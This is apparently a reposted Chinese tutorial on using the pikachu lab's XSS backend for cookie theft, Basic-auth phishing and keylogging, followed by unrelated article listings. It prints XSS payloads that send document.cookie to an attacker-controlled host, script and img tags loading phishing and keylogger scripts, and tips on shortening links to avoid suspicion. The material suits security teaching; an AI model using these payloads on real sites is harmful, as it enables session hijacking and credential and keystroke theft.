使用pikachu管理工具下的XSS后台进行实战

写在前面的重要提示:

Attention技术没有好坏之分,关键在于使用技术的人或组织。网络安全技术是一把双刃剑 – 作为网络安全人,虽然无法控制头上的帽子是否会变绿,但能控制不让它变黑;无论我们在物质上面对多大的诱惑或是面对多么艰难的窘境,精神上一定不要放弃最初成为顶级白帽的理想。一路走来,我们不一定能用自己所掌握的技术促进网络安全事业的进步与发展,但一定不要且不能站在网络安全事业发展的对立面。

Warning:本文仅限于技术交流,禁止一切利用本文涉及的技术进行违法犯罪活动。如有违者,后果自负。且笔者建议各位网络安全从业者,熟读且背诵我国网络安全相关法律法规,这也是对自己职业生涯负责的行为。

一:pikachu管理工具下的XSS后台简介

     pikachu管理工具下的XSS后台是一个通过Cookie窃取和利用、钓鱼攻击、键盘行为记录这三个实战型实验来帮助学习者理解XSS漏洞的原理和危害的一个平台。旨在帮助学习者在实战中深入理解理论,从而可以更好的防御XSS漏洞。

Xss后台登录页面:

                   

Xss后台主页面:

                

二:XSS后台的启动

方式一:直接进入pikachu靶场的管理工具模块 —> 进入XSS后台。(第一次使用需要先创建数据库)

方式二:XSS后台在pikachu靶场文件中是一个独立的文件:pkxss。若不想部署整个pikachu靶场,可以把pkxss文件单独部署在攻击主机中,单独搭建XSS后台。(如:笔者部署在虚拟机的PHPstudy中 – 部署方式和部署靶场一致,不了解的读者可以看笔者关于靶场部署的文章)

三:实战型实验演示

  • Cookie窃取

GET型:

原理图:

第一步:修改配置文件

1)进入pkxss目录找到xcookie,打开cookie.php文件修改配置。(E:\phpstudy_pro\WWW\Test\pkxss\xcookie\cookie.php)。

修改框中的URL:这个URL地址表示重定向到一个可信任的IP地址,换句话说就是被攻击者促发攻击代码受到攻击时页面跳转(刷新)至这个URL地址,这样做的目的是在攻击时造成的网页跳转可以减少甚至消除被攻击者的怀疑。(笔者将pikachu部署在本地的PHPstudy中:E:\phpstudy_pro\WWW\Test\pikachu-master,这个RUL的意思是:在受到攻击时,页面跳转到pikachu靶场的主页)。

第二步:构造攻击代码

1)构造一段获取cookie的攻击代码,并将代码通过XSS漏洞注入到被攻击主机可能浏览并存在XSS漏洞的站点,等待攻击成功。

这里为了帮助读者们理解,使用pikachu靶场的XSS存储型漏洞进行演示。

  1. 查看XSS平台下Cookie获取模块是否由历史数据。

(2)构造攻击代码:<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>

(注意:攻击代码中http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php页面,代表当用户触发到攻击代码时,攻击代码运行收集到用户的Cookie,并将Cookie发送给这个URL页面。当然,这个URL是受攻击者控制的)

第三步:将代码通过输入框或网页URL注入到页面中

注意:由于注入框设置了字符输入限制,需要先打开代码调式工具(右击—>检查),将字符输入限制更改

第四步:查看记录

POST型:

              

原理:

     POST型和GET型基本原理大差不差,主要的不同在于参数的提交方式是表单提交,不能通过URL进行参数提交,因此攻击者无法通过URL的方式将恶意代码嵌入。所以,攻击者需要构造一个Form表单,当用户点击攻击者的表单连接,用户就替攻击者发送一个提交请求,之后的攻击步骤就和GET型一致了。

第一步:构造Form表单

1)修改配置

     修改pkxss目录下的文件: pkxss/xcookie/post.html

  1. 将用户服务器IP地址和文件路径填入白框:如:http://pikachu/pkxss/xcookie/pkxss_cookie_result.php
  2. 将攻击者所控制的机器IP和文件路径填入黄框:http://pikachu/pkxss/xcookie/cookie.php

第二步:登录页面,在攻击框内输入攻击代码(步骤和GET型一致):<script>document.location = ‘http://xxx.xxx.xxx.xxx/Pikachu-master/pkxss/xcookie/cookie.php?cookie=’ + document.cookie;</script>

     

第三步:查看攻击结果:

  • 钓鱼攻击

钓鱼攻击的思路:攻击者向用户端发送一个经过处理的链接请求,用户点击链接后会给攻击者提前搭建好的后台发出一个请求,后台收到请求后会返回一个身份信息验证的Basic头部给用户端,若用户安全意识不够,输入了敏感信息:用户名和密码。这些信息就会被发送到攻击者控制的XSS后台。

第一步:配置文件

     配置pkxss/xfish目录的fish.php文件:将图片红框中的信息配置为攻击者所控制的获取被攻击者信息的文件的后台地址:如:http://pikachu/pkxss/xfish/xfish.php(笔者本地pikachu XSS后台管理平台地址)

第二步:构造钓鱼攻击链接

注意:钓鱼的后台有个接口(xfish.php)获取远程的数据,通过get方式去获取账号密码存到库里。文件地址:pikachu/pkxss/xfish/xfish.php

构造一个可以访问攻击者所控制的后台并且能返回Basic认证的链接,也可以是a标签、img标签、script标签等。

注意:为了让构造的钓鱼链接不让被攻击者发现,可以使用相应的链接处理工具对链接进行处理。

链接处理平台:http://tools.jb51.net/password/dwzcreate

如:

链接1: http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php

平台处理之后:http://mrw.so/6oy3Hb

链接2:<img src="http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php"></img>

链接3:<script src="http://xxx.xxx.xxx/Pikachu-master/pkxss/xfish/fish.php"></script>

第三步:使用pikachu靶场测试

1)将构造的钓鱼链接嵌入pikachu靶场,点击提交,弹出输入框。

                                 

 2)输入用户名:北冥同学;密码:123456。点击登录。

第四步:查看后台结果

  • 获取键盘记录

获取键盘记录攻击原理:利用XSS漏洞将攻击代码注入到页面,当被攻击者访问该页面,其在该页面的任何操作将被记录,同时攻击代码将把记录发送至攻击者所控制的后台。

第一步:修改配置

1)将pikachu靶场文件目录下的pkxss/ rkeypress/rk.js。如图中红框中内容替换为攻击者所控制的获取被攻击者键盘记录的文件的后台地址。如:http://pikachu/pkxss/rkeypress/rkserver.php

2)修改rkserver.php文件(路径:pkxss/rkeypress/rkserver.php)。

       

将是否允许跨域访问设置为:所有。【关于浏览器跨域访问的知识分析,可查看笔者博文: 】

第二步:构造攻击代码

<script src= "http://xxx.xxx.xxx/Pikachu-master/pkxss/rkeypress/rk.js"></script>

第三步:利用pikachu靶场验证

    1.将攻击代码注入存在XSS漏洞的页面,等待被攻击者访问该页面。

                        

    2.被攻击用户访问该页面,并添加评论:北冥同学,触发攻击。

                                    

    3.进入XSS后台查看被攻击键盘记录。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/52064.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

深度学习实践——卷积神经网络实践:裂缝识别

深度学习实践——卷积神经网络实践&#xff1a;裂缝识别 系列实验 深度学习实践——卷积神经网络实践&#xff1a;裂缝识别 深度学习实践——循环神经网络实践 深度学习实践——模型部署优化实践 深度学习实践——模型推理优化练习 深度学习实践——卷积神经网络实践&#xff…

VUE之VueRouter页面跳转

参考资料&#xff1a; 参考视频 参考demo及视频资料 VUE之基本部署及VScode常用插件 VUE之基本组成和使用 VUE之Bootstrap和Element-UI的使用 VUE之axios使用&#xff0c;跨域问题&#xff0c;拦截器添加Token Vue Router官网 Vue Router说明&#xff1a; 说明&#xf…

【计算机网络】10、ethtool

文章目录 一、ethtool1.1 常见操作1.1.1 展示设备属性1.1.2 改变网卡属性1.1.2.1 Auto-negotiation1.1.2.2 Speed 1.1.3 展示网卡驱动设置1.1.4 只展示 Auto-negotiation, RX and TX1.1.5 展示统计1.1.7 排除网络故障1.1.8 通过网口的 LED 区分网卡1.1.9 持久化配置&#xff08…

详细介绍 React 中如何使用 redux

在使用之前要先了解它的配套插件&#xff1a; 在React中使用redux&#xff0c;官方要求安装其他插件 Redux Toolkit 和 react-redux Redux Toolkit&#xff1a;它是一个官方推荐的工具集&#xff0c;旨在简化 Redux 的使用和管理。Redux Toolkit 提供了一些提高开发效率的工具…

GO语言日志切割 + 记录调用源

准备工作 日志记录对程序排查问题比较关键&#xff0c;记录下GO中日志选择&#xff0c;从以下出发点考虑&#xff1a; 日志文件能自动切割&#xff0c;以免过大能记录从哪个文件哪行代码调用的&#xff0c;方便排查问题配置简单明了库文件使用人数较多&#xff0c;稳定 经过一段…

ChatIE:通过多轮问答问题实现实命名实体识别和关系事件的零样本信息抽取,并在NYT11-HRL等数据集上超过了全监督模型

项目设计集合&#xff08;人工智能方向&#xff09;&#xff1a;助力新人快速实战掌握技能、自主完成项目设计升级&#xff0c;提升自身的硬实力&#xff08;不仅限NLP、知识图谱、计算机视觉等领域&#xff09;&#xff1a;汇总有意义的项目设计集合&#xff0c;助力新人快速实…

python读取json文件

import json# 文件路径(同目录文件名即可,不同目录需要绝对路径) path 1.json# 读取JSON文件 with open(path, r, encodingutf-8) as file:data json.load(file)#data为字典 print(data) print(type(data))

文件上传

js绕过 打开网页尝试上传一句话木马&#xff0c;发现只能上传图片文件 审计源代码&#xff0c;发现使用一个checkfile函数js对文件类型进行了屏蔽 于是我们修改网页代码&#xff0c;去除返回值的检查函数 checkFile() 上传成功&#xff0c;使用蚁剑连接 连接成功 .htaccess绕…

element-ui使用动态渲染下拉选择框el-select已经选择的下拉框的值不可以重复选择让其disabled

调接口拿到下拉框数据的数据的时候将其disabled全为true 但是如果编辑的时候就需要与详情接口对比&#xff0c;如果有id一致就将disabled为true if (res.code 0) {if (this.dialogtitle "新增合同") {res.data.map((v) > {v.nameUnitVoList.forEach((item) >…

小程序新渲染引擎 Skyline 发布正式版

为了进一步提升小程序的渲染性能和体验&#xff0c;我们推出了一套新渲染引擎 Skyline&#xff0c;现在&#xff0c;跟随着基础库 3.0.0 发布 Skyline 正式版。 我们知道&#xff0c;小程序一直用 WebView 来渲染界面&#xff0c;因其有不错的兼容性和丰富的特性&#xff0c;且…

lc209.长度最小的子数组

暴力破解&#xff1a;二次for循环遍历num[i]...num[j]&#xff0c;记录满足条件的最小长度 前缀和二分&#xff1a;前缀和降低计算num[i]...num[j]的时间复杂度 对前缀和数组中的每个数进行遍历&#xff0c;找到距离这个数满足条件的最小长度 前缀和数组单调递增&#xff0c;此…

最小时间差(力扣)排序 + 思维 JAVA

给定一个 24 小时制&#xff08;小时:分钟 “HH:MM”&#xff09;的时间列表&#xff0c;找出列表中任意两个时间的最小时间差并以分钟数表示。 示例 1&#xff1a; 输入&#xff1a;timePoints [“23:59”,“00:00”] 输出&#xff1a;1 示例 2&#xff1a; 输入&#xff1a;…

支持向量机(iris)

代码&#xff1a; import pandas as pd from sklearn.preprocessing import StandardScaler from sklearn import svm import numpy as np# 定义每一列的属性 colnames [sepal-length, sepal-width, petal-length, petal-width, class] # 读取数据 iris pd.read_csv(data\\i…

[自然语言处理] 自然语言处理库spaCy使用指北

spaCy是一个基于Python编写的开源自然语言处理库。基于自然处理领域的最新研究&#xff0c;spaCy提供了一系列高效且易用的工具&#xff0c;用于文本预处理、文本解析、命名实体识别、词性标注、句法分析和文本分类等任务。 spaCy的官方仓库地址为&#xff1a;spaCy-github。本…

信号的学习笔记二

文章目录 信号捕捉signal信号捕捉sigaction信号集未决信号集和阻塞信号集的工作过程 ![在这里插入图片描述](https://img-blog.csdnimg.cn/b896346af6f1462089779e513a7e237b.png)信号集相关函数sigemptysetsigfillsetsigaddsetsigdelsetsigismember应用 以下函数设置内核信号集…

八股总结(八)SSM框架体系

文章目录 Spring基础1、Spring、SpringMVC、Mybatis与SpringBoot的区别2、Spring中常用的注解及作用 Spring IoC 、 DI、Bean3、Spring IoC是什么&#xff0c;有什么好处&#xff0c;Spring中是怎么实现的&#xff1f;4、Bean相关5、Component 和 Bean 的区别是什么&#xff1f…

Java-简单认识类和对象

一、初步认识面向对象 1.1 什么是面向对象 Java是一门纯面向对象的语言(Object Oriented Program&#xff0c;简称OOP)&#xff0c;在面向对象的世界里&#xff0c;一切皆为对象。面向对象是解决问题的一种思想&#xff0c;主要依靠对象之间的交互完成一件事情。用面向对象的思…

系统架构设计师 10:软件架构的演化和维护

一、软件架构演化 如果软件架构的定义是 SA{components, connectors, constraints}&#xff0c;也就是说&#xff0c;软件架构包括组件、连接件和约束三大要素&#xff0c;这类软件架构演化主要关注的就是组件、连接件和约束的添加、修改与删除等。 二、面向对象软件架构演化…

使用Appuploader工具将IPA上传到App Store的最新流程和步骤

​ 苹果官方提供的工具xcode上架ipa非常复杂麻烦。用appuploader 可以在 mac 和windows 上制作管理 证书 &#xff0c;无需钥匙串工具 条件&#xff1a;1.以Windows为例&#xff0c;创建app打包ios需要的证书和描述文件 2.准备好一个苹果开发者账号&#xff08;如果没有到苹果…

C#实现读写CSV文件的方法详解

目录 CSV文件标准 文件示例RFC 4180简化标准读写CSV文件 使用CsvHelper使用自定义方法总结 项目中经常遇到CSV文件的读写需求&#xff0c;其中的难点主要是CSV文件的解析。本文会介绍CsvHelper、TextFieldParser、正则表达式三种解析CSV文件的方法&#xff0c;顺带也会介绍一…